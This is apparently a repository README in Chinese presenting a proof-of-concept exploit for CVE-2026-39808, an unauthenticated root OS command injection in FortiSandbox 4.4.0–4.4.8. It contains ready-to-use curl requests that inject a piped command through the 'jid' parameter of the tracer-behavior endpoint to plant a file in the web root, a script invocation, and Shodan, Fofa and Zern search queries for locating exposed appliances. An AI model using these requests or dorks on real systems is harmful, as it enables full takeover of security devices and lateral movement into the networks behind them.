error-inside/CVE-2026-39808

# CVE-2026-39808 [][01] [][03] [](./LICENSE) [](./LICENSE) Fortinet FortiSandbox 4.4.0-4.4.8 - 通过 tracer-behavior Endpoint 的 OS 命令注入 [Fortinet FortiSandbox][07] 是一款高级威胁防护解决方案， 它创建隔离环境以分析可疑文件、URL 和 网络流量中的恶意行为。它结合使用静态 分析、动态分析、AI 驱动的机器学习以及来自 [FortiGuard][08] 的威胁情报，来检测会绕过传统 基于签名防御的零日威胁、规避型 恶意软件、勒索软件和针对性攻击。企业应部署 FortiSandbox 以防护 新兴威胁——特别是未知恶意软件和高级持久 威胁 (APT)；方法是在可疑内容到达生产系统之前，在安全的、 隔离的环境中自动将其引爆。它与 更广泛的 Fortinet Security Fabric 集成，可以部署为 *物理设备*、*虚拟机*、*云服务*或 *容器化解决方案*，以适应各种网络架构。 **CVE-2026-39808** 是一个严重的 **OS 命令注入漏洞**， 影响 FortiSandbox 版本 *4.4.0* 至 *4.4.8*。该漏洞源于 在用户可控输入用于构建 OS 命令之前，未对其进行 特殊元素的正确中和 (CWE-78)，具体影响一个 未指定的 API endpoint。未经身份验证的攻击者可以通过 发送特制的 HTTP 请求来利用此漏洞，以在 底层系统上以 **root 权限**执行**任意操作系统命令**。 成功利用此漏洞将使攻击者获得对 *FortiSandbox* 设备的完全控制权，使他们能够访问已分析的 恶意软件样本、窃取敏感配置数据、横向渗透到相连的 网络区段，或者将受感染的设备用作在企业环境内进一步 横向移动的跳板。此漏洞目前已在野外被积极利用。 ## PoC ``` # 步骤 1 — 注入：通过 jid param 中的 pipe 将标记字符串写入临时 .php 文件 # 解码后的 payload：|(echo canary > /web/ng/proof.php)| curl -sk -o /dev/null -w "%{http_code}" \ "http://example.com/fortisandbox/job-detail/tracer-behavior?jid=%7c%28echo+canary+%3e+%2fweb%2fng%2fproof.php%29%7c" \ -H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \ -H "Connection: close" # 步骤 2 — 验证：获取被植入的文件并检查标记 curl -sk "http://example.com/ng/proof.php" \ -H "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)" \ -H "Connection: close" ``` ## 使用说明 ``` python CVE-2026-39808-X7.py ``` * [Zern][04] : `title:FortiSandbox` * [Fofa][05] : `title="FortiSandbox"` * [Shodan][06] : `http.title:FortiSandbox` ## 资源 * [OpenCVE - CVE-2026-39808 - FortiSandbox 4.4.x 版本中的 OS 命令注入][01] * [NIST - CVE-2026-39808 详情][02] * [Fortinet FortiSandbox][07] ## 作者 * ErrorInside // SCT ## 许可证 SCT-PL

标签：CISA项目, Python, Web报告查看器, 命令注入, 安全, 无后门, 超时处理, 逆向工具